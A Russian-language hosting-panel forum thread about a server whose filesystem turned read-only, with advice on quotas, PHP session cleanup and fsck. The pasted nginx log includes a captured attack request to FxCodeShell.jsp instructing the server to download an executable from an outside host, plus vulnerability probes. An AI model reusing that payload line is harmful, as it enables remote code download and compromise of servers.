Page 1 of 1

Не могу войти в панель, изменить файлы

Posted: Tue Apr 02, 2019 4:16 pm
by sshab
Добрый день.
Виртуальный сервер с Дебиан8 и вестой. Сайт, расположенный на сервере работает.
Не смогли зайти в панель админа worldpress, до этого заходили 23.03. Проверил на сервере - последний бекап 23.03.
В панель весты зайти не смог (NO LANGUAGE DEFINED).
Начал выполнять шаги из темы viewtopic.php?f=28&t=14959:
1. Сервис работает
2.
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 49G 4.5G 42G 10% /
udev 10M 0 10M 0% /dev
tmpfs 101M 13M 88M 13% /run
tmpfs 251M 0 251M 0% /dev/shm
tmpfs 5.0M 0 5.0M 0% /run/lock
tmpfs 251M 0 251M 0% /sys/fs/cgroup
Filesystem Inodes IUsed IFree IUse% Mounted on
/dev/sda1 3204992 259465 2945527 9% /
udev 62175 309 61866 1% /dev
tmpfs 64012 429 63583 1% /run
tmpfs 64012 1 64011 1% /dev/shm
tmpfs 64012 4 64008 1% /run/lock
tmpfs 64012 13 63999 1% /sys/fs/cgroup
Поменять квоту через ssh не получилось - пишет системный файл только для чтения, при попытке через WinSCP:
General failure (server should provide error description).
Error code: 4
Error message from server: Failure

Common reasons for the Error code 4 are:
- Renaming a file to a name of already existing file.
- Creating a directory that already exists.
- Moving a remote file to a different filesystem (HDD).
- Uploading a file to a full filesystem (HDD).
- Exceeding a user disk quota.
3. Пароль верный
4. Кроме указанного в файле присутствует
# sudo is limited to vesta scripts
admin ALL=NOPASSWD:/usr/local/vesta/bin/*
Логи:
/usr/local/vesta/log/nginx-error.log
pen() "/usr/local/vesta/web/FxCodeShell.jsp" failed (2: No such file or directory), client: 124.42.41.15, server: _, request: "GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe HTTP/1.1", host: "123.45.67.89:8083", referrer: "http://123.45.67.89:8083/FxCodeShell.js ... wnload.exe"
2019/03/19 11:18:11 [error] 491#0: *467 open() "/usr/local/vesta/web/a2billing/customer/templates/default/footer.tpl" failed (2: No such file or directory), client: 46.17.47.202, server: _, request: "GET /a2billing/customer/templates/2019/02/14 13:21:41 [error] 491#0: *48 "/usr/local/vesta/web/HNAP1/index.php" is not found (2: No such file or directory), client: 193.33.61.15, server: _, request: "GET /HNAP1/ HTTP/1.1", host: "123.45.67.89:8083", referrer: "http://123.45.67.89:8083/"
2019/03/13 15:03:53 [error] 491#0: *432 odefault/footer.tpl HTTP/1.1", host: "123.45.67.89:8083"
2019/03/19 11:18:11 [error] 491#0: *468 open() "/usr/local/vesta/web/a2billing/customer/templates/default/footer.tpl" failed (2: No such file or directory), client: 46.17.47.202, server: _, request: "GET /a2billing/customer/templates/default/footer.tpl HTTP/1.1", host: "123.45.67.89:8083"
2019/03/19 14:13:16 [error] 491#0: *470 "/usr/local/vesta/web/recordings/index.php" is not found (2: No such file or directory), client: 46.17.47.202, server: _, request: "GET /recordings/ HTTP/1.1", host: "123.45.67.89:8083"
2019/03/19 14:13:16 [error] 491#0: *471 "/usr/local/vesta/web/recordings/index.php" is not found (2: No such file or directory), client: 46.17.47.202, server: _, request: "GET /recordings/ HTTP/1.1", host: "123.45.67.89:8083"
2019/03/19 17:09:17 [error] 491#0: *472 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 46.17.47.202, server: _, request: "GET /vtigercrm/vtigerservice.php HTTP/1.1", upstream: "fastcgi://unix:/var/run/vesta-php.sock:", host: "123.45.67.89:8083"
2019/03/19 17:09:18 [error] 491#0: *475 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 46.17.47.202, server: _, request: "GET /vtigercrm/vtigerservice.php HTTP/1.1", upstream: "fastcgi://unix:/var/run/vesta-php.sock:", host: "123.45.67.89:8083"
/usr/local/vesta/log/system.log куча записей, аналогичных:
2019-03-23 09:36:46 v-add-firewall-chain 'SSH'
2019-03-23 09:36:46 v-add-firewall-ban '114.113.221.162' 'SSH'
2019-03-23 09:37:39 v-add-firewall-chain 'MAIL'
2019-03-23 09:37:39 v-add-firewall-ban '141.98.81.189' 'MAIL'
2019-03-23 09:37:53 v-delete-firewall-ban '82.239.52.8' 'SSH'
Пока оформлял пост обнаружил, что в принципе не могу ничего скопировать, изменить, удалить на сервере (пытался удалить бекап и пару файлов, которые закидывал через ftp когда-то). На любое действие putty и winscp выдают сообщения, как в п.2.
Помогите, пожалуйста, с решением этой проблемы.

Re: Не могу войти в панель, изменить файлы

Posted: Tue Apr 02, 2019 5:36 pm
by imperio
Здравствуйте. Какую точно выдает ошибку при попытке выполнить команды?

Re: Не могу войти в панель, изменить файлы

Posted: Tue Apr 02, 2019 5:58 pm
by sshab
imperio wrote:
Tue Apr 02, 2019 5:36 pm
Здравствуйте. Какую точно выдает ошибку при попытке выполнить команды?
Редактирование
Error writing /usr/local/vesta/data/users/admin/user.conf: Read-only file system
Удаление
find: cannot delete `/home/admin/tmp/sess_': Read-only file system

Re: Не могу войти в панель, изменить файлы

Posted: Tue Apr 02, 2019 6:04 pm
by imperio
Посмотрите данную тему. Если коротко, то нужно отключить квоту
viewtopic.php?t=15388

Re: Не могу войти в панель, изменить файлы

Posted: Wed Apr 03, 2019 2:56 pm
by sshab
imperio wrote:
Tue Apr 02, 2019 6:04 pm
Посмотрите данную тему. Если коротко, то нужно отключить квоту
viewtopic.php?t=15388
Спасибо, буду пробовать.
Еще, подскажите пожалуйста, можно ли удалять файлы из /home/user/tmp/sess_*? их там порядка 180 тысяч накопилось.

Re: Не могу войти в панель, изменить файлы

Posted: Wed Apr 03, 2019 3:01 pm
by grayfolk
sshab wrote:
Wed Apr 03, 2019 2:56 pm

Еще, подскажите пожалуйста, можно ли удалять файлы из /home/user/tmp/sess_*? их там порядка 180 тысяч накопилось.
Да, можно. Еще лучше настроить автоматическую очистку, например, для файлов старше 12 часов:

Code: Select all

session.gc_probability = 1
session.gc_divisor     = 100
session.gc_maxlifetime = 43200

Re: Не могу войти в панель, изменить файлы

Posted: Wed Apr 03, 2019 3:10 pm
by sshab
Спасибо.
Запустил fsck, получил это:
e2fsck 1.42.12 (29-Aug-2014)
/dev/sda1 contains a file system with errors, check forced.
Pass 1: Checking inodes, blocks, and sizes
Deleted inode 51 has zero dtime. Fix<y>? no
Inodes that were part of a corrupted orphan linked list found. Fix<y>? no
Inode 54 was part of the orphaned inode list. IGNORED.
Inode 160 was part of the orphaned inode list. IGNORED.
Inode 338 was part of the orphaned inode list. IGNORED.
Inode 2597 was part of the orphaned inode list. IGNORED.
Inode 11332 was part of the orphaned inode list. IGNORED.
Inode 524521 was part of the orphaned inode list. IGNORED.
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
Block bitmap differences: -2192338 -2206818
Fix<y>? no
Free blocks count wrong (11703220, counted=11465153).
Fix<y>? no
Inode bitmap differences: -51 -54 -160 -338 -2597 -11332 -524521
Fix<y>? no
Free inodes count wrong (3003450, counted=2945527).
Fix<y>? no

/dev/sda1: ********** WARNING: Filesystem still has errors **********

/dev/sda1: 201542/3204992 files (0.2% non-contiguous), 1141836/12845056 blocks
и это
/dev/sda1: ***** FILE SYSTEM WAS MODIFIED *****
/dev/sda1: ***** REBOOT LINUX *****

/dev/sda1: ********** WARNING: Filesystem still has errors **********
Фиксить ничего не стал, т.к. знаний разобраться в этом не хватает.
Исправлять эти ошибки и безопасно ли перезагружать сервер в текущем состоянии?

Re: Не могу войти в панель, изменить файлы

Posted: Wed Apr 03, 2019 3:13 pm
by grayfolk
Попробуйте обратиться в техподдержку.

Re: Не могу войти в панель, изменить файлы

Posted: Wed Apr 03, 2019 4:13 pm
by sshab
grayfolk wrote:
Wed Apr 03, 2019 3:13 pm
Попробуйте обратиться в техподдержку.
Обратился, исправили.
Последний вопрос - куда это прописывать?
session.gc_probability = 1
session.gc_divisor = 100
session.gc_maxlifetime = 43200
Спасибо за ответы.

Re: Не могу войти в панель, изменить файлы

Posted: Wed Apr 03, 2019 4:40 pm
by grayfolk
sshab wrote:
Wed Apr 03, 2019 4:13 pm

Последний вопрос - куда это прописывать?
session.gc_probability = 1
session.gc_divisor = 100
session.gc_maxlifetime = 43200
В php.ini, после чего перезапустить апач.